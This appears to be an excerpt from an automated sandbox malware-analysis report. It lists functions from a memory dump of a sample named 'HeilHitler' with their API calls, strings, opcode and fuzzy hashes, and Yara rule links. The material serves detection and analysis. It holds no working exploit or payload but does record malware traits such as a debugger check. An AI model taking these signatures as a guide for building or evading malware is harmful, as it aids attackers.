API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 43ff3b8166e9fd1da9e9b85cd0cc03098369cc9465b4e54a762af958436dc8e1
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 92317672608B8586EB60CFA0E8417ED7360FB84704F444139DA5E97B99DF7CD648D710

Function 00007FF633D85C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D85C45

Part of subcall function 00007FF633D85598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855AC

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

Part of subcall function 00007FF633D7A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF633D7A8DF,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7A909
Part of subcall function 00007FF633D7A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF633D7A8DF,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7A92E

_get_daylight.LIBCMT ref: 00007FF633D85C34

Part of subcall function 00007FF633D855F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8560C

_get_daylight.LIBCMT ref: 00007FF633D85EAA
_get_daylight.LIBCMT ref: 00007FF633D85EBB
_get_daylight.LIBCMT ref: 00007FF633D85ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF633D8610C), ref: 00007FF633D85EF3

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: 6ec99d33bdb44da6ecf2997ad356caa19763f127bc689be6710b0b8447883afe
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: 03D1E426E0824246E720DFA5D8431B96762FF84794F84A235EE0DEBB95DF3CF441A740

Function 00007FF633D7A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF633D7A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF633D7A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF633D7A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF633D7A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF633D7A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF633D7A72E

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: d85780c84839de040bc3890f67e64cd2644d1c0eb61610f31f65aaa08a9a8677
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 9331A232608F8186DB60CF64E8413AE33A4FB88758F500236EA9D97BA9DF3CD145DB00

Function 00007FF633D81874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D818C0
FindFirstFileExW.KERNEL32 ref: 00007FF633D819CA

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: 74b5afc23294b8b436fcf21b3ec6f5666c4b3d65eb5e36be9ad9fec28f369967
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 85B10762B1869241EA619FA5D4025B9A390FF44BE4F446331EE5EABBC5DF3CF445D300

Function 00007FF633D85E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D85EAA

Part of subcall function 00007FF633D855F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D8560C

_get_daylight.LIBCMT ref: 00007FF633D85EBB

Part of subcall function 00007FF633D85598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855AC

_get_daylight.LIBCMT ref: 00007FF633D85ECC

Part of subcall function 00007FF633D855C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D855DC

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF633D8610C), ref: 00007FF633D85EF3

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 7fd548c5178028af0812a6d8c2f083bf18a1ef2463a1c9129a27f05425390cc1
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 5C518132A0864286E710DFA5D9835B97762FB48784F446335EA4DEBB96DF3CF400A740

Function 00007FF633D6D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF633D6D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF633D6D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF633D6D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF633D6D066

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 5704a215172bdf63649cad887ea3bb25f62a818bf907f5455577448c1c61c217
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 26112E22B14F05CAEB00CFA0E8552B933A4FB59758F441F31DA6D967A4EF7CE1649340

Function 00007FF633D83C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF633D83C76
memcpy_s.LIBCPMT ref: 00007FF633D83CA1

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: d1230eeb0d6ee49713ba1fbf3a28c41d5038889c4296bd78815f040282545d04
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 88C10572B1828687D724CF99A04567AB7A1FB84B84F44A234DB4E9BB44DF3DF841DB40

Function 00007FF633D6A47B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF633D6A4C5
header crc mismatch, xrefs: 00007FF633D6A921
, xrefs: 00007FF633D6A55B

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction ID: 7f355265f457c1e23cbc8f9dfdda7b178116d71c62b86d9ac5c98f9c7d934068
Opcode Fuzzy Hash: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction Fuzzy Hash: E1F1B3B2B183C54BE7A58F58C089A3A7BA9EF44740F455238DA9DA7390CF38E840E740

Function 00007FF633D89728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF633D89977
RaiseException.KERNEL32 ref: 00007FF633D89988

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction ID: 678242f294a982ed2c44e63050c387cca595e72ec0baa18f8897764aa71c8ac5
Opcode Fuzzy Hash: a4cc0e8a2f7e024105bf8074fef1866164229a93701b52dcf00f6f20498becf3
Instruction Fuzzy Hash: A1B16D73A04B898BEB15CF29C88636C3BE0F744B48F159A21DA9E977A4CF39E451D700

Function 00007FF633D739A4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF633D73B12
, xrefs: 00007FF633D73D54

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction ID: 941d691bc12832f5ad2a35e5a9a8742a78fe2f01aa385eaf28c3d6953731b557
Opcode Fuzzy Hash: e57f1980f4491aea9eb328a1e81193c2bccc9a7e68d1918bb9b7207cf9600634
Instruction Fuzzy Hash: ACE1C632A0864686EB68CFA9C05717D33A0FF45B48F145335DA4EA7B94DF3AE851E780

Function 00007FF633D6A2DB Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF633D6A449
incorrect header check, xrefs: 00007FF633D6A462

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction ID: a5b1a32b988a1dfaee414ac612ee252df55af265210d1dbb2408b33029765b12
Opcode Fuzzy Hash: e8ec78490181e4ccec650f854842bb3e08bcfae3bf2db5596c2af0d8e2ff5899
Instruction Fuzzy Hash: 2591B7B2A182C68BE7A48E55D449B3E3BA9FF44350F514239DA9ED67C0CF38E940DB40

Function 00007FF633D7DEF0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF633D7DFFD
gfff, xrefs: 00007FF633D7E07A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction ID: 31c70923b9f728e13ae4adc20dc85de8e43d46ea70eeef49d09ae9247647c225
Opcode Fuzzy Hash: c8a24eaff8c968987b4d031b15ae93849e98bcf9eddb8930961e84febef9b5bc
Instruction Fuzzy Hash: 8D518862B182C186E7258EB5D812769BB91F744B94F488332CB9C8BBD5CF3ED041D700

Function 00007FF633D808C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: 234171ecab6d92aafaa5d4a9909603b3ea14021a6af1ef4328636cb80422da9e
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: 5702EF61B1D74350FA61AF92A80327A6684AF41BA0F459734ED6DFA7D2DF3DF411A300

Function 00007FF633D7DA5C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF633D7DD9E

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 1afcbe67ad50fea2a5efa46d0a5b7482042ace8cca7d52410eae63c1471e1b2d
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 46A16762B0C7CA86EB21CF69A4017AA7B91EB54B84F058232DE8D97789DE7DE401D701

Function 00007FF633D78794 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF633D787B3

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction ID: c73461b15bf410eda73629d3ab9e166dab471a7856efec368c98aa0154453f25
Opcode Fuzzy Hash: 09cdd7cf7fc9e7e425d724a32e8c9d3bd5c12dba7606eca5b930980d9b4d1239
Instruction Fuzzy Hash: A851EF01F0964341FA64AFA769131BA9290AF44BD5F884235DE0EF7BD6EF3CF446A200

Function 00007FF633D83480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF633D83484

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 23a663a901f2a26b996bdb03eeab635ea266c1f41e8bf6faf2c2a278b59d33ac
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: C3B09220E07A02C2EA082BA16C8331822A57F48700F980238C45CA4330DE2C22E66700

Function 00007FF633D735A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 6ad6a375d7b48f2d1fbf935b8adf388753954b97d725c2e4a6a2f07d9ead4fbf
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: 1FD1D972A0865286EB788EA9805227D27A0FF05B48F144339CE0DA7FD5DF3DE845E780

Function 00007FF633D69800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 35ed4605ba5d38fd2fb0c3e6fe719fc7ac49ec01588e6af8a2429ab66c0113ab
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: F1C18E762181E08BD28AEB29E46947A73D1F78930DBD5416BEF87477C5CB3CA414EB10

Function 00007FF633D72C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
